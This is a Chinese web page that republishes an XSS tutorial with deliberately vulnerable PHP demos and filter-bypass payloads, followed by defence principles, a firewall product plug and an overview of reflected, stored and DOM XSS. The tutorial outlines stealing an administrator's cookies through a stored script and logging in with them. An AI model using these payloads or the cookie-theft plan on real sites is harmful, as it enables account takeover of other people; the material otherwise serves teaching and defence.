整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

XSS跨站脚本攻击的原理分析与解剖

《xss攻击手法》一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的《白帽子讲WEB安全》和cn4rry的《XSS跨站脚本攻击剖析与防御》才开始好转。

我这里就不说什么xss的历史什么东西了,xss是一门又热门又不太受重视的Web攻击手法,为什么会这样呢,原因有下:

1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用

但是这些并没有影响黑客对此漏洞的偏爱,原因不需要多,只需要一个。

Xss几乎每个网站都存在,google、baidu、360等都存在。

0×02 原理:

首先我们现在本地搭建个PHP环境(可以使用phpstudy安装包安装),然后在index.php文件里写入如下代码:

<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重现</title> </head> <body> <form action="" method="get"> <input type="text" name="xss_input"> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input']; echo '你输入的字符为<br>'.$xss; ?> </body> </html>

然后,你会在页面看到这样的页面

我们试着输入abcd123,得到的结果为

我们在看看源代码

我们输入的字符串被原封不动的输出来了,那这里我们提出来一个假设,假设我们在搜索框输入下面的代码会出现什么呢?

<script>alert('xss')</script>

如果按照上面的例子来说,它应该存在第12行的[br]与[/boby]>之间,变成:

<br><script>alert('xss')</script></boby>

之后,应该会弹出对话框。

既然假设提出来,那我们来实现下这个假设成不成立吧。

我们输入

<script>alert('xss')</script>

得到的页面为

成功弹窗,这个时候基本上就可以确定存在xss漏洞。

我们在看看源代码

看来,我们的假设成功了,这节就说说XSS的原理,下面几节说说xss的构造和利用。

0×03 xss利用输出的环境来构造代码 :

上节说了xss的原理,但是我们的输出点不一在[ br ]和[ /boby ]里,可以出现在html标签的属性里,或者其他标签里面。所以这节很重要,因为不一定 当你输入下面代码就会出现弹窗。

<script>alert('xss')</script>

先贴出代码:

<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS利用输出的环境来构造代码</title> </head> <body> <center> <h6>把我们输入的字符串 输出到input里的value属性里</h6> <form action="" method="get"> <h6>请输入你想显现的字符串</h6> <input type="text" name="xss_input_value" value="输入"><br> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input_value']; if(isset($xss)){ echo '<input type="text" value="'.$xss.'">'; }else{ echo '<input type="type" value="输出">'; } ?> </center> </body> </html>

下面是代码的页面

这段代码的作用是把第一个输入框的字符串,输出到第二个输入框,我们输入1,那么第二个input里的value值就是1,下面是页面的截图和源代码的截图(这里我输入下面的代码来测试)

<script>alert('xss')</script>

明显的可以看到,并没有弹出对话框,大家可能会疑惑为什么没有弹窗呢,我们来看看源代码

我们看到我们输入的字符串被输出到第15行input标签里的value属性里面,被当成value里的值来显现出来,所以并没有弹窗,这时候我们该怎么办呢?聪明的人已经发现了可以在

<script>alert(&#039;xss&#039;)</script>

前面加个">来闭合input标签。所以应该得到的结果为

成功弹窗了,我们在看看这时的页面

看到后面有第二个input输入框后面跟有">字符串,为什么会这样呢,我们来看看源代码

这时可以看到我们构造的代码里面有两个">,第一个">是为了闭合input标签,所以第二个">就被抛弃了,因为html的容错性高,所以并没有像php那样出现错误,而是直接把多余的字符串来输出了,有的人是个完美主义者,不喜欢有多余的字符串被输出,这时该怎么办呢?

这里我问大家一个问题,我之前说的xss代码里,为什么全是带有标签的。难道就不能不带标签么?!答:当然可以。既然可以不用标签,那我们就用标签里的属性来构造XSS,这样的话,xss代码又少,又不会有多余的字符串被输出来。

还是这个环境,但是不能使用标签,你应该怎么做。想想input里有什么属性可以调用js,html学的好的人,应该知道了,on事件,对的。我们可以用on事件来进行弹窗,比如这个xss代码 我们可以写成

" onclick="alert(&#039;xss&#039;)

这时,我们在来试试,页面会发生什么样的变化吧。

没有看到弹窗啊,失败了么?答案当然是错误的,因为onclick是鼠标点击事件,也就是说当你的鼠标点击第二个input输入框的时候,就会触发onclick事件,然后执行alert(&#039;xss&#039;)代码。我们来试试看

当我点击后,就出现了弹窗,这时我们来看看源代码吧

第15行,value值为空,当鼠标点击时,就会弹出对话框。这里可能就会有人问了,如果要点击才会触发,那不是很麻烦么,成功率不就又下降了么。我来帮你解答这个问题,on事件不止onclick这一个,还有很多,如果你想不需要用户完成什么动作就可以触发的话,i可以把onclick改成

Onmousemove 当鼠标移动就触发

Onload 当页面加载完成后触发

还有很多,我这里就不一一说明了,有兴趣的朋友可以自行查询下。

别以为就这样结束了,还有一类环境不能用上述的方法,

那就是如果在[ textarea ]标签里呢?!或者其他优先级比script高的呢?

就下面这样

这时我们该怎么办呢?既然前面都说了闭合属性和闭合标签了,那能不能闭合完整的标签呢,答案是肯定的。我们可以输入下面的代码就可以实现弹窗了。

</textarea><script>alert('xss')</script>

0×04 过滤的解决办法

假如说网站禁止过滤了script 这时该怎么办呢,记住一句话,这是我总结出来的“xss就是在页面执行你想要的js”不用管那么多,只要能运行我们的js就OK,比如用img标签或者a标签。我们可以这样写

<img scr=1 onerror=alert('xss')>当找不到图片名为1的文件时,执行alert('xss') <a href=javascrip:alert('xss')>s</a> 点击s时运行alert('xss') <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的scr来弹窗 <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>过滤了alert来执行弹窗

等等有很多的方法,不要把思想总局限于一种上面,记住一句话“xss就是在页面执行你想要的js”其他的管他去。(当然有的时候还有管他…)

0×05 xss的利用

说了那么多,大家可能都以为xss就是弹窗,其实错了,弹窗只是测试xss的存在性和使用性。

这时我们要插入js代码了,怎么插呢?

你可以这样

<script scr="js_url"></script>

也可以这样

<img src=x onerror=appendChild(createElement('script')).src='js_url' />

各种姿势,各种插,只要鞥运行我们的js就OK。那运行我们的js有什么用呢?

Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。

比如我们在网站的留言区输入下面的代码:

<script scr="js_url"></script>

当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改你的cookies,就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。

原文地址:http://netsecurity.51cto.com/art/201408/448305_all.htm

博客文章:http://blog.xbbai.site/xiao-bai-153.html

SS即Cross Site Scripting,中文名称为跨站脚本攻击,那么你知道防范XSS漏洞攻击的原则包括哪些吗?

XSS详细介绍:

XSS攻击主要是由程序漏洞造成的,要完全防止XSS安全漏洞主要是依靠程序员较高的编程能力和安全意识,当然安全的软件开发流程及其他一些编程安全原则也可以大大减少XSS安全漏洞的发生。防范XSS漏洞的原则包括这些:

1、不信任用户提交的任何内容,对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、REFER、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。尽量采用POST而非GET提交表单,对<、>、;、,””等字符做过滤;任何内容输出到页面之前都必须加以en-code,避免不小心把htmltag显示出来。

2、实现session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行,对于用户提交信息中的img等link,检查是否有重定向回本站、不是真的图片等可疑操作。

3、cookie防盗,避免直接在cookie中泄露用户隐私,比如email、密码等等;通过使cookie和系统ip绑定来降低cookie泄露后的风险,这样攻击者可以得到的cookie没有实际价值,很难拿来直接进行重放攻击。

4、确认接收的内容被妥善地规范化,仅包含最小的、安全的tag,去掉任何对远程内容的引用,使用HTTPonly的cookie。

防范xss攻击-下载宝塔面板

宝塔面板 - 简单好用的Linux/Windows服务器运维管理面板-宝塔nginx防火墙有效防跨站攻击;

宝塔nginx防火墙使用场景:



1.遭受CC攻击、部分流量攻击的用户
2.遭受SQL注入、XSS/XSRF之类的渗透攻击的用户
3.遭受恶意上传脚本、webshell等危险行为的用户
4.希望屏蔽境内或境外地区访问自己网站的用户
5.希望通过UA、IP黑白名单管理网站访问规则的用户
6.希望可视化管理网站防御规则的用户
7.希望实时展示防火墙拦截状态的用户
8.适合想要查看攻击来源、被攻击的URI、保护的目录,但又不会看的用户
9.适合网站不需要某些蜘蛛来访,但又不会禁止的用户
10.适合网站被扫描器恶意扫描,但又不会禁止的用户
11.适合网站发文章不想要某些敏感词出现,但又不会设置的用户
12.应用场景包含所有动态网站

么是XSS攻击?

XSS全称是Cross Site Scripting即跨站脚本,全称跨站脚本攻击,是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

四个关键点:1、目标网站目标用户;2、浏览器;3、不被预期;4、脚本。

XSS有什么危害

我们知道了什么是XSS攻击,也一定很想知道XSS到底有什么危害,有什么用。

简单总结下来主要分为以下几种

  • 盗取用户Cookie。
  • DOS(拒绝服务)客户端浏览器。
  • 钓鱼攻击,高级的钓鱼技巧。
  • 删除目标文章、恶意篡改数据、嫁祸。
  • 劫持用户Web行为,甚至进一步渗透内网。
  • 爆发Web2.0蠕虫。
  • 蠕虫式的DDoS攻击。
  • 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据


XSS攻击有哪几种类型?

常见的 XSS 攻击有三种:反射型XSS攻击、DOM-based 型XXS攻击以及存储型XSS攻击。


1.反射型XSS攻击反射型 XSS 一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。反射型XSS通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

一个简单的例子如下:http://www.a.com/xss/reflect.php的代码如下:

<?php
echo $_GET['x'];
>

如果输入x的值未经任何过滤就直接输出,提交:http://www.foo.com/xss/reflect.php?x=<script>alert(1)</script>

则alert()函数会在浏览器触发。


2.存储型XSS攻击也叫持久型XSS,主要将XSS代码提交存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。当目标用户访问该页面获取数据时,XSS代码会从服务器解析之后加载出来,返回到浏览器做正常的HTML和JS解析执行,XSS攻击就发生了。存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。


3.DOM-based 型XSS攻击基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞。


DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。

http://www.a.com/xss/domxss.html代码如下:

<script>
eval(location.hash.substr(1));
</script>

触发方式为:http://www.a.com/xss/domxss.html#alert(1)

这个URL#后的内容是不会发送到服务器端的,仅仅在客户端被接收并解执行。

如弹出cookie脚本:在自己的页面弹出自己的Cookie只需要修改alert的内容为document.cookie即可!

<script>alert(document.cookie);</script>


如何防御XSS攻击?

1. 对输入内容的特定字符进行编码,例如表示 html标记的 < > 等符号。

2. 对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。

3. 将不可信的值输出URL参数之前,进行 URLEncode操作,而对于从 URL参数中获取值一定要进行格式检测(比如你需要的时URL,就判读是否满足URL格式)。

4. 不要使用 Eval来解析并运行不确定的数据或代码,对于 JSON解析请使用 JSON.parse() 方法。

5. 后端接口也应该要做到关键字符过滤的问题。


总结

如今,各种类型网络攻击日益频繁,除了XSS攻击之外,比较常见的网络攻击类型还包括DDoS攻击、CC攻击等,它们非常难以防御,除了需要做好日常网络安全防护之外,还需要接入高防服务,对攻击流量进行清洗,保障企业网络及业务的正常运行。